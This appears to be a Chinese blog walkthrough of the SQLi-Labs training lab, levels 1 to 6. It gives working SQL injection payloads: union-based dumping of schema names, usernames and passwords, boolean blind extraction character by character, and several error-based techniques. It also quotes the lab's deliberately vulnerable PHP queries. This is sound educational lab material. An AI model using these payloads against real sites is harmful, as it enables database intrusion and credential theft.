SQLi-Labs第一章(Less-1 - Less-6)

  • 前言
  • 注入过程

一. 前言

1. 什么是SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。


二. 注入过程

测试环境

MySQL 5.5.53

PHP 5.6.27-nts

Apache 2.4

1. Less-1

1)首先进入SQLi-Labs,选择第一题

1

2)在地址后输入?id=1,发现可以显示用户信息,说明不是数值查询

2

3)接下来尝试修改修改id值,发现一直到12都可以显示信息

3

4)在地址后输入?id=1',发现返回错误信息,表示存在SQL字符注入

4

5)将参数改为?id=1' --+,发现返回信息正常,则说明是单引号字符型注入

5

6)使用order by判断行数,当行数增加到4时返回错误信息,说明共有3列数据

6

7)将id=1改为一个数据库不存在的id值,使用union select 1,2,3联合查询语句查看页面是否有显示位

7

可以看到,返回了2和3两个值,说明有两个显示位

8)利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

1
?id=15' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

8

9)查询security内的所有表名

1
?id=15' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

9

10)爆破user表的列名

1
?id=15' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

10

可以看到列表名为idusernamepassword

11)最后查询所有的用户名和密码

1
?id=15' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

11

2. Less-2

同样的我们先输入参数?id=1

12

将参数改为?id=1'后报错

13

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

意思是单引号破坏了查询导致了错误,所以说,查询代码使用了整数。可以使用?id=1--+来注释掉剩余查询

14

查看代码可以看到具体的查询语句如下

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

使用以下payload均显示正常

1
2
?id=1--+ or 1=1
?id=1 or 1=1 --+

可以使用如下payload获得显示位

15

其余步骤与Less-1相同

3. Less-3

使用参数?id=1'

16

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

猜测使用的是如下SQL语句

1
Select login_name, select password from table where id= ('our input here')

使用参数?id=1)--+

17

可以看到显示正常,说明猜测是正确的,查看源代码发现语句如下

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

使用如下payload同样可以

1
?id=') or '1'=('1

获得显示位

18

4. Less-4

使用参数?id=1"时报错

19

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

猜测id被括号_()_和_””_所包装

使用参数?id=1") --+,可以看到显示正常

20

查看源代码,可以看到语句如下

1
2
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

使用如下payload

1
2
?id=") or "1"=("1
?id=") or 1=1--+

获得显示位

21

5. Less-5

第五关使用的是盲注,通过源代码可以看到,如果输入正确,返回的是You are in...........

部分源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

5.1 基于布尔的盲注

5.1.1 获取数据库长度

首先尝试查看数据库长度

1
2
3
4
?id=1%27and%20length(database())=8%23

%27= '(单引号)
%20= space(空格)

可以看到,数据库长度等于8时返回正常

22

当数据库长度不对时,不会有信息返回

23

5.1.2 获取数据库名
5.1.2.1 使用left()函数获取数据库名

接下来,尝试拿到数据库名的第一位

1
2
?id=1' and left(database(),1)>'a'--+
?id=1%27and%20left(database(),1)%3e%27a%27--+

该语句的意思是数据库名的第一位是否大于a,如果大于a则返回真,否则返回否。

24

可以看到返回正常,说明数据库名第一位大于a,这里可以通过二分法猜出数据库名,测试得第一位是s

尝试拿到数据库名的第二位

1
?id=1' and left(database(),2)>'sf'--+

25

可以看到返回值为假,说明第二位比f小。以此可以拿到数据库名为security

26

5.1.2.2 使用substr()ascii()函数获取数据名

因为具体的原理是差不多的,这里就只展示以下

1
?id=1' and ascii(substr(database(),1))=115--+

27

s的ASCII值为115,换成116试一试

28

可以看到,返回的是错误的

5.1.3 获取数据库下的表名
5.1.3.1 获取第一个表的表名

首先尝试拿到第一个表的表名的第一位,因为已经知道表名了,就只是验证一下

1
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

29

可以看到表名的第一位是e(ascii=101)

接下来获取第二位,这里需要将substr()函数的第二个参数改成2

1
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+

30

第二位是m(ascii=109)

5.1.3.2 获取第二个表的表名

那么关键问题来了,如何获取第二个表

这里需要将limit 0,1改为limit 1,1,因为第一个参数是表示从哪里开始。

1
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+

31

可以看到,第二个表的第一位是r(ascii=114)

5.1.4 获取users表中的列

使用regexp获取users表中的列

1
2
3
4
查看*users*表中是否含有名字以*us*开头的列

?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+
?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27%5eus%5ba-z%5d%27%20limit%200,1)--+

32

1
2
3
4
查看*users*表中是否含有名字是*username*的列

?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

32

5.1.5 使用ord()mid()函数获取users表的内容

首先获取username列中第一行第一个字符

1
2
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

上面参数的意思是获取username列中第一行第一个字符的ASCII值,可以看到第一个字符是D

34

用同样的方法获得第二个字符

1
2
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),2,1))=117--+
将MID()的第二个参数改为2

35

同样的,获取第二行第一个字符

1
2
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 1,1),1,1))=65--+
将LIMIT的第一个参数改为1

36

5.2 基于报错的盲注

5.2.1 普通的报错注入
1
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

37

5.2.2 利用double数值类型超出范围进行报错注入
1
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

38

5.2.3 利用bigint溢出进行报错注入
1
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

39

5.2.4 xpath函数报错注入
1
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

40

1
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

41

5.2.5 利用数据的重复性
1
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

42

6. Less-6

5和6的区别是在id传入时经过了处理

1
?id=1"

43

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1

可以看到报错信息,传入参数的左右两边引号不匹配。通过代码可以看到是在参数两边加上了"作为包装

1
2
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

除此之外,与Less-5的方式是一样的,只用一个作为演示

1
?id=1" union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

44


篇幅太长了,这一篇就先写到这里,剩下的会慢慢写



-------------本文结束感谢您的阅读-------------

本文标题:SQLi-Labs第一章(Less-1 - Less-6)

文章作者:J2ck7a1 Ch33

发布时间:2019年04月04日 - 19:04

最后更新:2019年05月04日 - 20:05

原始链接:http://yoursite.com/sqli-libs-first/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。


想喝快乐水